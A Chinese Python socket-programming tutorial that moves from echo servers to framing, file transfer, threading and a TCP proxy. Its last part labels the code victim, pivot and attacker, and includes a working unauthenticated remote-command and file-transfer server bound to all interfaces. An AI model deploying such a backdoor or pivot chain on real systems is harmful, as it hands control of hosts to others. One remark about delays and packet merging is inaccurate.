Python TCP Socket 编程详解
Python TCP Socket 编程详解
本系列文章将深入探讨使用 Python 实现 TCP Socket 通信的各种场景,从基础的连接建立到复杂的代理服务。
一、基础 TCP 连接
1. 服务端实现
服务端需要执行以下步骤:创建 Socket 对象,绑定 IP 地址和端口,监听连接,接受客户端连接,接收数据,发送响应,最后关闭连接和 Socket。
import socket
# 创建 TCP Socket 对象
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定 IP 和端口
server_socket.bind(('127.0.0.1', 7777))
# 设置最大连接数
server_socket.listen(5)
# 等待客户端连接
client_connection, client_address = server_socket.accept()
# 接收客户端数据 (最大 1024 字节)
received_data = client_connection.recv(1024)
print(f"来自客户端的数据: {received_data.decode('utf-8')}")
# 发送大写的数据给客户端
client_connection.send(received_data.upper())
# 关闭客户端连接
client_connection.close()
# 关闭服务器 Socket
server_socket.close()
2. 客户端实现
客户端需要执行以下步骤:创建 Socket 对象,连接服务器,发送数据,接收响应,最后关闭 Socket。
import socket
# 创建 TCP Socket 对象
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接服务器
client_socket.connect(('127.0.0.1', 7777))
# 发送数据
client_socket.send('hello'.encode('utf-8'))
# 接收服务器响应
response_data = client_socket.recv(1024)
print(response_data.decode('utf-8'))
# 关闭客户端 Socket
client_socket.close()
二、通信循环
1. 服务端通信循环
为了实现持续通信,服务端需要在一个循环中处理客户端的接收和发送操作。
import socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('127.0.0.1', 7777))
server_socket.listen(5)
client_connection, client_address = server_socket.accept()
while True:
# 接收客户端数据
received_data = client_connection.recv(1024)
if not received_data: # 如果客户端断开连接,recv返回空字节串
break
print(f"来自客户端的数据: {received_data.decode('utf-8')}")
# 发送大写的数据给客户端
client_connection.send(received_data.upper())
# 关闭客户端连接
client_connection.close()
# 关闭服务器 Socket
server_socket.close()
2. 客户端通信循环
客户端也需要一个循环来持续发送用户输入的消息并接收服务器的响应。
import socket
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('127.0.0.1', 7777))
while True:
message = input("请输入消息 >>: ").strip()
if not message:
continue
# 发送消息
client_socket.send(message.encode('utf-8'))
# 接收服务器响应
response_data = client_socket.recv(1024)
print(f"来自服务器的响应: {response_data.decode('utf-8')}")
# 关闭客户端 Socket
client_socket.close()
三、处理异常
在实际通信中,可能会遇到客户端意外断开连接等异常情况。服务端需要通过异常处理来优雅地应对这些情况。
1. 服务端异常处理
使用 try...except ConnectionResetError 来捕获客户端强制关闭连接时产生的错误。同时,使用 if not data: break 来检测客户端正常关闭连接的情况。
import socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 允许重用本地地址,避免端口被占用
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind(('127.0.0.1', 7777))
server_socket.listen(5)
client_connection, client_address = server_socket.accept()
while True:
try:
received_data = client_connection.recv(1024)
if not received_data:
print("客户端已正常关闭连接。")
break
print(f"来自客户端的数据: {received_data.decode('utf-8')}")
client_connection.send(received_data.upper())
except ConnectionResetError:
print("客户端连接被重置。")
break
except Exception as e:
print(f"发生未知错误: {e}")
break
client_connection.close()
server_socket.close()
2. 客户端异常处理
客户端在发送空消息时,如果服务端没有处理,可能会导致阻塞。通过 if not msg: continue 跳过空输入。
import socket
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('127.0.0.1', 7777))
while True:
message = input("请输入消息 >>: ").strip()
if not message:
continue # 跳过空输入
client_socket.send(message.encode('utf-8'))
response_data = client_socket.recv(1024)
print(f"来自服务器的响应: {response_data.decode('utf-8')}")
client_socket.close()
四、模拟 SSH 远程命令执行
我们可以利用 TCP 连接来模拟远程执行命令的功能。服务端接收命令,使用 subprocess 模块执行,并将输出(包括标准输出和标准错误)返回给客户端。客户端接收并显示结果。
1. 服务端实现
import socket
import subprocess
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind(('127.0.0.1', 7777))
server_socket.listen(5)
client_connection, client_address = server_socket.accept()
while True:
try:
command_bytes = client_connection.recv(1024)
if not command_bytes:
break
command = command_bytes.decode('utf-8')
# 执行命令
process = subprocess.Popen(command, shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
stdout, stderr = process.communicate()
# 发送命令执行结果
client_connection.send(stdout + stderr)
except ConnectionResetError:
print("客户端连接被重置。")
break
except Exception as e:
print(f"命令执行错误: {e}")
break
client_connection.close()
server_socket.close()
2. 客户端实现
客户端发送命令,并接收和解码服务器返回的执行结果。注意,Windows 和 Linux 的命令输出编码可能不同,这里使用 gbk 假设是 Windows 环境。
import socket
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('127.0.0.1', 7777))
while True:
command = input("请输入要执行的命令 >>: ").strip()
if not command:
continue
# 发送命令
client_socket.send(command.encode('utf-8'))
# 接收命令执行结果
result_bytes = client_socket.recv(4096) # 增加接收缓冲区大小以防结果过长
print(result_bytes.decode('gbk')) # 假设使用 GBK 编码
client_socket.close()
注意: 这种简单的远程命令执行存在"粘包"问题,即多个发送的数据可能被合并成一个接收,或者一个发送的数据被分成多个接收,导致命令返回结果不同步。后续会介绍如何解决粘包问题。
五、TCP 传输中的粘包问题
TCP 是一个面向字节流的协议,它不保证数据包的边界。这意味着,应用程序发送的数据可能被 TCP 协议合并(粘连)成一个大的数据块发送,或者一个大的数据块被拆分成多个小的数据包发送。这就会导致"粘包"现象。
表现:
- 服务端
recv()一次可能收到多个客户端发送的数据。 - 服务端
recv()可能需要多次调用才能收到一个完整的客户端发送的数据。
1. 导致粘包的示例
在客户端连续发送两条消息而不加延时,服务端可能一次性接收到这两条消息。
服务端 (接收两次)
点击查看代码
import socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind(('127.0.0.1', 7777))
server_socket.listen(5)
client_connection, client_address = server_socket.accept()
# 预期接收两条消息
data1 = client_connection.recv(1024)
print(f"第一次接收: {data1.decode('utf-8')}")
data2 = client_connection.recv(1024)
print(f"第二次接收: {data2.decode('utf-8')}")
client_connection.close()
server_socket.close()
客户端 (连续发送)
点击查看代码
import socket
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('127.0.0.1', 7777))
client_socket.send('hello'.encode('utf-8'))
client_socket.send('world'.encode('utf-8'))
client_socket.close()
2. 解决粘包 - 客户端加延时
在客户端两次发送之间加入延时,可以增加 TCP 协议合并数据的可能性,使得服务端能够更明确地接收到独立的数据包。
客户端 (加延时)
点击查看代码
import socket
import time
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('127.0.0.1', 7777))
client_socket.send('hello'.encode('utf-8'))
time.sleep(5) # 增加延时
client_socket.send('world'.encode('utf-8'))
client_socket.close()
即使加了延时,也不能完全保证不粘包,因为 TCP 的拥塞控制和 Nagle 算法等都会影响数据发送的实际时机。
3. 解决粘包 - 结构化数据传输
最可靠的解决粘包问题的方法是:在发送数据时,始终以固定的结构发送,确保接收方能够正确地解析出每个独立的数据单元。
常见的解决方案是"固定长度报头 + 可变长度数据"模式:
- 制作报头: 包含描述数据的信息,如数据长度、文件名、MD5 等。
- 序列化报头: 将报头(通常是字典)转换为字节流。
- 打包报头长度: 使用
struct模块将报头的字节长度打包成一个固定大小(例如 4 字节的整数),并先发送这个长度。 - 发送报头: 发送序列化后的报头字节流。
- 发送真实数据: 发送实际的数据内容。
服务端实现
服务端先接收报头长度,然后根据长度接收报头,解析出数据总大小,最后循环接收直到接收完所有数据。
点击查看代码
import socket
import struct
import json
import subprocess
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind(('127.0.0.1', 7777))
server_socket.listen(5)
client_connection, client_address = server_socket.accept()
while True:
try:
command_bytes = client_connection.recv(1024)
if not command_bytes:
break
command = command_bytes.decode('utf-8')
process = subprocess.Popen(command, shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
stdout, stderr = process.communicate()
output_data = stdout + stderr
# --- 解决粘包 ---
# 1. 制作报头字典
header_dict = {'total_size': len(output_data)}
# 2. 序列化报头
header_bytes = json.dumps(header_dict).encode('utf-8')
# 3. 打包报头长度 (4字节整数)
header_len_packed = struct.pack('i', len(header_bytes))
# 4. 发送报头长度
client_connection.send(header_len_packed)
# 5. 发送报头
client_connection.send(header_bytes)
# 6. 发送真实数据
client_connection.send(output_data)
# --- 粘包解决结束 ---
except ConnectionResetError:
print("客户端连接被重置。")
break
except Exception as e:
print(f"处理请求时出错: {e}")
break
client_connection.close()
server_socket.close()
客户端实现
客户端先接收 4 字节的报头长度,然后根据该长度接收报头,解析出总数据大小,最后循环接收数据直到接收完毕。
点击查看代码
import socket
import struct
import json
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('127.0.0.1', 7777))
while True:
command = input("请输入要执行的命令 >>: ").strip()
if not command:
continue
client_socket.send(command.encode('utf-8'))
# --- 解决粘包 ---
# 1. 接收报头长度 (4字节)
header_len_bytes = client_socket.recv(4)
if not header_len_bytes: # 如果连接断开
print("服务器连接已关闭。")
break
header_len = struct.unpack('i', header_len_bytes)[0]
# 2. 接收报头
header_bytes = client_socket.recv(header_len)
# 3. 解析报头,获取总数据大小
header_dict = json.loads(header_bytes.decode('utf-8'))
total_size = header_dict['total_size']
# 4. 循环接收真实数据
received_size = 0
received_data = b''
while received_size < total_size:
chunk = client_socket.recv(1024) # 每次接收1024字节
if not chunk: # 防止意外断开
break
received_data += chunk
received_size += len(chunk)
# 可以添加进度条显示
# print(f"已接收: {received_size}/{total_size}")
if received_data:
print(received_data.decode('gbk')) # 假设使用 GBK 编码
# --- 粘包解决结束 ---
client_socket.close()
七、文件传输 (下载)
实现文件下载功能,服务端需要读取文件内容并发送,客户端接收文件内容并写入本地文件。
1. 下载服务端
服务端接收客户端的下载命令,解析文件名,获取文件大小,然后发送包含文件信息的报头,最后逐块发送文件内容。
点击查看代码
import socket
import struct
import json
import os
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind(('127.0.0.1', 7777))
server_socket.listen(5)
client_connection, client_address = server_socket.accept()
while True:
try:
command_bytes = client_connection.recv(1024)
if not command_bytes:
break
command = command_bytes.decode('utf-8')
parts = command.split()
if parts[0] == 'download' and len(parts) > 1:
filename = parts[1]
if os.path.exists(filename):
file_size = os.path.getsize(filename)
# 制作报头
header_dict = {'filename': filename, 'file_size': file_size}
header_bytes = json.dumps(header_dict).encode('utf-8')
header_len_packed = struct.pack('i', len(header_bytes))
# 发送报头
client_connection.send(header_len_packed)
client_connection.send(header_bytes)
# 发送文件内容
with open(filename, 'rb') as f:
for chunk in f:
client_connection.send(chunk)
print(f"文件 '{filename}' 已发送。")
else:
error_msg = f"文件 '{filename}' 不存在。"
print(error_msg)
# 可以选择发送错误信息给客户端
header_dict = {'error': error_msg}
header_bytes = json.dumps(header_dict).encode('utf-8')
header_len_packed = struct.pack('i', len(header_bytes))
client_connection.send(header_len_packed)
client_connection.send(header_bytes)
else:
print(f"未知命令: {command}")
except ConnectionResetError:
print("客户端连接被重置。")
break
except Exception as e:
print(f"处理请求时出错: {e}")
break
client_connection.close()
server_socket.close()
2. 下载客户端
客户端发送下载命令,然后接收报头,解析出文件名和文件大小,最后循环接收文件数据并写入本地文件。
点击查看代码
import socket
import struct
import json
import os
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('127.0.0.1', 7777))
while True:
command = input("请输入下载命令 (如: download filename.txt) >>: ").strip()
if not command:
continue
client_socket.send(command.encode('utf-8'))
# 接收报头长度
header_len_bytes = client_socket.recv(4)
if not header_len_bytes:
print("服务器连接已关闭。")
break
header_len = struct.unpack('i', header_len_bytes)[0]
# 接收报头
header_bytes = client_socket.recv(header_len)
header_dict = json.loads(header_bytes.decode('utf-8'))
if 'error' in header_dict:
print(f"服务器错误: {header_dict['error']}")
continue
filename = header_dict['filename']
file_size = header_dict['file_size']
# 接收文件内容
received_size = 0
print(f"开始下载文件: {filename} (大小: {file_size} 字节)")
with open(f"./downloaded_{filename}", 'wb') as f: # 保存到当前目录,加上前缀避免覆盖
while received_size < file_size:
chunk = client_socket.recv(1024)
if not chunk:
print("文件传输中断。")
break
f.write(chunk)
received_size += len(chunk)
print(f"已下载: {received_size}/{file_size} 字节", end='\r') # 使用 \r 实现原地刷新
print(f"\n文件 '{filename}' 下载完成。")
client_socket.close()
八、多线程 TCP 服务
为了能够同时处理多个客户端连接,可以使用多线程。每个新连接都由一个单独的线程来处理。
1. 多线程服务端
import socket
import threading
BIND_IP = "127.0.0.1"
BIND_PORT = 7777
def handle_client_connection(client_socket):
"""处理单个客户端连接的函数"""
try:
request = client_socket.recv(1024).decode('utf-8')
print(f"收到来自 {client_socket.getpeername()} 的消息: {request}")
response = "ACK!"
client_socket.send(response.encode('utf-8'))
except Exception as e:
print(f"处理连接时出错: {e}")
finally:
client_socket.close()
# 创建 TCP Socket 对象
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((BIND_IP, BIND_PORT))
server_socket.listen(5)
print(f"[*] 服务器正在监听 {BIND_IP}:{BIND_PORT}")
while True:
client, addr = server_socket.accept()
print(f"[*] 接受到来自 {addr[0]}:{addr[1]} 的连接")
# 为每个客户端连接创建一个新线程
client_handler = threading.Thread(target=handle_client_connection, args=(client,))
client_handler.start()
# server_socket.close() # 在实际应用中,服务器通常不会主动关闭
2. 多线程客户端
客户端与单线程服务端基本一致,但需要注意编码格式。
import socket
BIND_IP = "127.0.0.1"
BIND_PORT = 7777
# 创建 TCP Socket 对象
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# 连接服务器
client_socket.connect((BIND_IP, BIND_PORT))
print(f"[*] 已连接到服务器 {BIND_IP}:{BIND_PORT}")
message = "Hello Server!"
client_socket.send(message.encode('utf-8')) # 使用 UTF-8 编码
response = client_socket.recv(1024).decode('utf-8') # 假设服务器返回 UTF-8
print(f"[*] 收到服务器响应: {response}")
except ConnectionRefusedError:
print(f"[!] 连接被拒绝,请确保服务器正在运行。")
except Exception as e:
print(f"[!] 发生错误: {e}")
finally:
client_socket.close()
九、TCP 代理服务器
TCP 代理服务器充当中介,连接客户端和目标服务器。它可以用于转发流量、修改数据或进行安全监控。
1. 受害机 (目标服务器)
这是一个简化的 TCP 服务器,它能接收命令,执行并返回结果,也能处理文件上传和下载请求。
点击查看代码
import socket
import struct
import json
import subprocess
import os
class SimpleTcpServer:
def __init__(self, server_address):
self.server_address = server_address
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.bind(server_address)
self.socket.listen(5)
self.conn = None
self.client_addr = None
print(f"[*] 服务器已启动,监听 {server_address}")
def _send_header(self, data_dict):
"""发送包含数据长度的报头"""
header_json = json.dumps(data_dict).encode('utf-8')
header_len = struct.pack('i', len(header_json))
self.conn.send(header_len)
self.conn.send(header_json)
def _recv_all(self, length):
"""确保接收指定长度的数据"""
data = b''
while len(data) < length:
packet = self.conn.recv(length - len(data))
if not packet:
return None
data += packet
return data
def _execute_command(self, command):
"""执行命令并返回 stdout 和 stderr"""
try:
process = subprocess.Popen(command, shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True) # 使用 text=True 避免手动解码
stdout, stderr = process.communicate()
return stdout.encode('utf-8') + stderr.encode('utf-8') # 编码回字节
except Exception as e:
return str(e).encode('utf-8')
def _handle_put_file(self, header_data):
"""处理文件上传请求"""
filename = header_data.get('filename')
filesize = header_data.get('filesize')
if not filename or filesize is None:
self._send_header({'error': '无效的文件信息'})
return
print(f"开始接收文件: {filename} (大小: {filesize})")
try:
with open(filename, 'wb') as f:
received_size = 0
while received_size < filesize:
chunk = self._recv_all(min(1024, filesize - received_size))
if chunk is None:
print("文件传输中断")
return
f.write(chunk)
received_size += len(chunk)
self._send_header({'status': '文件上传成功', 'filename': filename})
print(f"文件 '{filename}' 上传完成。")
except Exception as e:
print(f"文件上传处理错误: {e}")
self._send_header({'error': f'上传文件时出错: {e}'})
def _handle_download_file(self, header_data):
"""处理文件下载请求"""
filename = header_data.get('filename')
if not filename:
self._send_header({'error': '未提供文件名'})
return
if not os.path.exists(filename):
self._send_header({'error': f'文件 "{filename}" 不存在'})
return
try:
file_size = os.path.getsize(filename)
# 发送文件描述报头
self._send_header({'filename': filename, 'file_size': file_size})
# 发送文件内容
with open(filename, 'rb') as f:
for chunk in f:
self.conn.send(chunk)
print(f"文件 '{filename}' 已发送。")
except Exception as e:
print(f"文件下载处理错误: {e}")
# 尝试发送错误信息
try:
self._send_header({'error': f'下载文件时出错: {e}'})
except:
pass
def run(self):
while True:
self.conn, self.client_addr = self.socket.accept()
print(f"[*] 接受到来自 {self.client_addr} 的连接")
while True:
try:
# 接收命令报头长度
header_len_bytes = self.conn.recv(4)
if not header_len_bytes:
break # 客户端断开连接
header_len = struct.unpack('i', header_len_bytes)[0]
# 接收命令报头
header_bytes = self._recv_all(header_len)
if header_bytes is None: break # 传输中断
header_data = json.loads(header_bytes.decode('utf-8'))
command_type = header_data.get('cmd')
if command_type == 'cmd':
# 执行命令
command = header_data.get('command')
if command:
output = self._execute_command(command)
self._send_header({'size': len(output)})
self.conn.send(output)
else:
self._send_header({'error': '未提供命令'})
elif command_type == 'put':
# 处理上传
self._handle_put_file(header_data)
elif command_type == 'download':
# 处理下载
self._handle_download_file(header_data)
else:
self._send_header({'error': f'未知命令类型: {command_type}'})
except ConnectionResetError:
print("客户端连接被重置。")
break
except Exception as e:
print(f"处理客户端请求时发生错误: {e}")
break
print(f"[*] 连接 {self.client_addr} 已关闭")
self.conn.close()
# 启动服务器 (监听所有接口,端口 8080)
if __name__ == "__main__":
server = SimpleTcpServer(('0.0.0.0', 8080))
try:
server.run()
except KeyboardInterrupt:
print("\n[*] 服务器正在关闭...")
server.socket.close()
2. 跳板机 (代理服务器)
跳板机负责接收来自攻击机的连接,然后连接到受害机,并在两者之间转发数据。它还可以选择性地修改数据。
点击查看代码
import socket
import sys
import threading
class TcpProxy:
def __init__(self, local_host, local_port, remote_host, remote_port, receive_first=False):
self.local_host = local_host
self.local_port = local_port
self.remote_host = remote_host
self.remote_port = remote_port
self.receive_first = receive_first
self.local_socket = None
self.remote_socket = None
def start(self):
# 创建本地监听 Socket
self.local_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
self.local_socket.bind((self.local_host, self.local_port))
self.local_socket.listen(5)
print(f"[*] 代理监听 {self.local_host}:{self.local_port}")
except Exception as e:
print(f"[!] 无法绑定本地端口 {self.local_host}:{self.local_port}. 错误: {e}")
sys.exit(0)
while True:
client_sock, addr = self.local_socket.accept()
print(f"[*] 接受来自 {addr[0]}:{addr[1]} 的连接")
# 创建一个线程来处理与受害机的通信
proxy_thread = threading.Thread(
target=self.handle_proxy,
args=(client_sock, self.remote_host, self.remote_port, self.receive_first)
)
proxy_thread.start()
def hexdump(self, src, length=16):
"""十六进制转储函数,用于调试"""
result = []
digits = 4 if isinstance(src, str) else 2
for i in range(0, len(src), length):
s = src[i:i+length]
hexa = b' '.join([f"{x:0{digits}X}".encode() for x in s])
text = b''.join([bytes([x]) if 0x20 <= x < 0x7F else b'.' for x in s])
result.append(f"{i:04X} {hexa} {text}".encode())
print(b'\n'.join(result))
def receive_data(self, connection):
"""从连接接收数据,直到超时或无数据"""
buffer = b""
connection.settimeout(2) # 设置短超时以允许快速关闭
try:
while True:
data = connection.recv(4096)
if not data:
break
buffer += data
except socket.timeout:
pass # 超时是正常情况
except Exception as e:
print(f"[!] 接收数据时出错: {e}")
return buffer
def request_handler(self, buffer):
"""处理发送到远程服务器的请求 (可在此修改数据)"""
# print("[*] 处理客户端请求...")
# self.hexdump(buffer)
return buffer
def response_handler(self, buffer):
"""处理从远程服务器返回的响应 (可在此修改数据)"""
# print("[*] 处理服务器响应...")
# self.hexdump(buffer)
return buffer
def handle_proxy(self, client_socket, remote_host, remote_port, receive_first):
"""处理代理通信逻辑"""
self.remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print(f"[*] 正在连接到远程目标 {remote_host}:{remote_port}")
self.remote_socket.connect((remote_host, remote_port))
except Exception as e:
print(f"[!] 无法连接到远程目标 {remote_host}:{remote_port}. 错误: {e}")
client_socket.close()
return
# 如果receive_first为True,先从远程服务器接收数据
if receive_first:
remote_buffer = self.receive_data(self.remote_socket)
if remote_buffer:
print(f"[<==] 从远程接收 {len(remote_buffer)} 字节。")
remote_buffer = self.response_handler(remote_buffer)
client_socket.send(remote_buffer)
# 主循环:在客户端和远程服务器之间转发数据
while True:
local_buffer = self.receive_data(client_socket)
if not local_buffer:
break # 客户端断开连接
print(f"[==>] 从本地客户端接收 {len(local_buffer)} 字节。")
local_buffer = self.request_handler(local_buffer)
self.remote_socket.send(local_buffer)
remote_buffer = self.receive_data(self.remote_socket)
if not remote_buffer:
break # 远程服务器断开连接
print(f"[<==] 从远程服务器接收 {len(remote_buffer)} 字节。")
remote_buffer = self.response_handler(remote_buffer)
client_socket.send(remote_buffer)
print("[*] 代理通信结束。")
self.cleanup_sockets()
def cleanup_sockets(self):
"""关闭所有打开的 sockets"""
if self.local_socket:
self.local_socket.close()
if self.remote_socket:
self.remote_socket.close()
if __name__ == "__main__":
if len(sys.argv) != 5:
print("用法: python proxy.py <本地监听IP> <本地监听端口> <目标服务器IP> <目标服务器端口>")
print("示例: python proxy.py 127.0.0.1 8080 192.168.1.100 80")
sys.exit(1)
local_host = sys.argv[1]
local_port = int(sys.argv[2])
remote_host = sys.argv[3]
remote_port = int(sys.argv[4])
# receive_first 参数通常用于 HTTP 代理,对于一般 TCP 代理可设为 False
# 如果需要先从目标服务器接收数据再发送给客户端,则设为 True
receive_first_flag = False # 默认为 False
proxy = TcpProxy(local_host, local_port, remote_host, remote_port, receive_first_flag)
try:
proxy.start()
except KeyboardInterrupt:
print("\n[*] 代理正在关闭...")
proxy.cleanup_sockets()
3. 攻击机 (客户端)
攻击机连接到跳板机(代理),然后通过代理向受害机发送命令或文件。这里实现了一个简单的客户端,可以执行命令、上传和下载文件。
点击查看代码
import socket
import struct
import json
import os
import sys
class SimpleTcpClient:
def __init__(self, server_address):
self.server_address = server_address
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
self.socket.connect(server_address)
print(f"[*] 已连接到服务器 {server_address}")
except Exception as e:
print(f"[!] 连接服务器失败: {e}")
sys.exit(1)
def _send_header(self, data_dict):
"""发送包含数据长度的报头"""
header_json = json.dumps(data_dict).encode('utf-8')
header_len = struct.pack('i', len(header_json))
self.socket.send(header_len)
self.socket.send(header_json)
def _recv_all(self, length):
"""确保接收指定长度的数据"""
data = b''
while len(data) < length:
packet = self.socket.recv(length - len(data))
if not packet:
return None
data += packet
return data
def _execute_command(self, command):
"""发送执行命令的请求"""
print(f"执行命令: {command}")
self._send_header({'cmd': 'cmd', 'command': command})
# 接收命令执行结果
header_len_bytes = self.socket.recv(4)
if not header_len_bytes: return
header_len = struct.unpack('i', header_len_bytes)[0]
header_bytes = self._recv_all(header_len)
if header_bytes is None: return
result_header = json.loads(header_bytes.decode('utf-8'))
total_size = result_header.get('size')
if total_size is not None and total_size > 0:
output = self._recv_all(total_size)
if output:
print(output.decode('utf-8').strip())
elif 'error' in result_header:
print(f"服务器错误: {result_header['error']}")
def _upload_file(self, filepath):
"""上传文件"""
if not os.path.exists(filepath):
print(f"文件 '{filepath}' 不存在。")
return
filename = os.path.basename(filepath)
file_size = os.path.getsize(filepath)
print(f"开始上传文件: {filename} (大小: {file_size})")
# 发送文件上传请求报头
self._send_header({'cmd': 'put', 'filename': filename, 'filesize': file_size})
# 发送文件内容
try:
with open(filepath, 'rb') as f:
for chunk in f:
self.socket.send(chunk)
print(f"文件 '{filename}' 上传完成。")
# 接收服务器确认消息
header_len_bytes = self.socket.recv(4)
if header_len_bytes:
header_len = struct.unpack('i', header_len_bytes)[0]
header_bytes = self._recv_all(header_len)
if header_bytes:
status = json.loads(header_bytes.decode('utf-8'))
print(f"服务器状态: {status.get('status', status.get('error'))}")
except Exception as e:
print(f"文件上传过程中出错: {e}")
def _download_file(self, filename):
"""下载文件"""
print(f"请求下载文件: {filename}")
# 发送文件下载请求报头
self._send_header({'cmd': 'download', 'filename': filename})
# 接收文件描述报头
header_len_bytes = self.socket.recv(4)
if not header_len_bytes:
print("服务器连接已关闭。")
return
header_len = struct.unpack('i', header_len_bytes)[0]
header_bytes = self._recv_all(header_len)
if header_bytes is None: return
file_info = json.loads(header_bytes.decode('utf-8'))
if 'error' in file_info:
print(f"服务器错误: {file_info['error']}")
return
remote_filename = file_info.get('filename')
file_size = file_info.get('file_size')
if not remote_filename or file_size is None:
print("接收到无效的文件信息。")
return
print(f"开始下载文件: {remote_filename} (大小: {file_size})")
local_filepath = f"./downloaded_{remote_filename}" # 保存到本地,加上前缀
try:
with open(local_filepath, 'wb') as f:
received_size = 0
while received_size < file_size:
chunk = self._recv_all(min(1024, file_size - received_size))
if chunk is None:
print("文件传输中断。")
break
f.write(chunk)
received_size += len(chunk)
print(f"已下载: {received_size}/{file_size} 字节", end='\r')
print(f"\n文件 '{remote_filename}' 下载完成,保存为 '{local_filepath}'。")
except Exception as e:
print(f"文件下载过程中出错: {e}")
def run(self):
while True:
try:
command_line = input(">>> ").strip()
if not command_line:
continue
parts = command_line.split()
cmd_type = parts[0]
if cmd_type == 'exit':
break
elif cmd_type == 'ls':
self._execute_command("dir" if os.name == 'nt' else "ls -l")
elif cmd_type == 'cd':
# 在客户端本地切换目录,而不是远程
if len(parts) > 1:
try:
os.chdir(parts[1])
print(f"当前目录已切换到: {os.getcwd()}")
except FileNotFoundError:
print(f"目录 '{parts[1]}' 不存在。")
except Exception as e:
print(f"切换目录时出错: {e}")
else:
print("用法: cd <目录>")
elif cmd_type == 'upload':
if len(parts) > 1:
self._upload_file(parts[1])
else:
print("用法: upload <本地文件路径>")
elif cmd_type == 'download':
if len(parts) > 1:
self._download_file(parts[1])
else:
print("用法: download <远程文件名>")
else:
# 尝试作为命令执行
self._execute_command(command_line)
except KeyboardInterrupt:
print("\n[*] 客户端正在退出...")
break
except EOFError: # 处理 Ctrl+D 等情况
print("\n[*] 检测到 EOF,客户端正在退出...")
break
except Exception as e:
print(f"[!] 发生未知错误: {e}")
break
self.socket.close()
if __name__ == "__main__":
# 假设跳板机 IP 是 192.168.1.128,端口是 8080
# 攻击机连接到跳板机
# 这里的 IP 和端口应根据你的实际网络环境配置
proxy_host = '127.0.0.1' # 替换为你的跳板机 IP
proxy_port = 8080 # 替换为你的跳板机端口
client = SimpleTcpClient((proxy_host, proxy_port))
client.run()
使用方法:
- 运行"受害机"代码,使其监听一个端口(例如 8080)。
- 运行"跳板机"代码,指定本地监听地址(例如 127.0.0.1:9000)和目标受害机地址(例如 127.0.0.1:8080)。
- 运行"攻击机"代码,连接到跳板机的监听地址(例如 127.0.0.1:9000)。
- 在攻击机上输入命令(如 `ls` 或 `download somefile.txt`),命令会通过跳板机转发到受害机执行,结果再原路返回。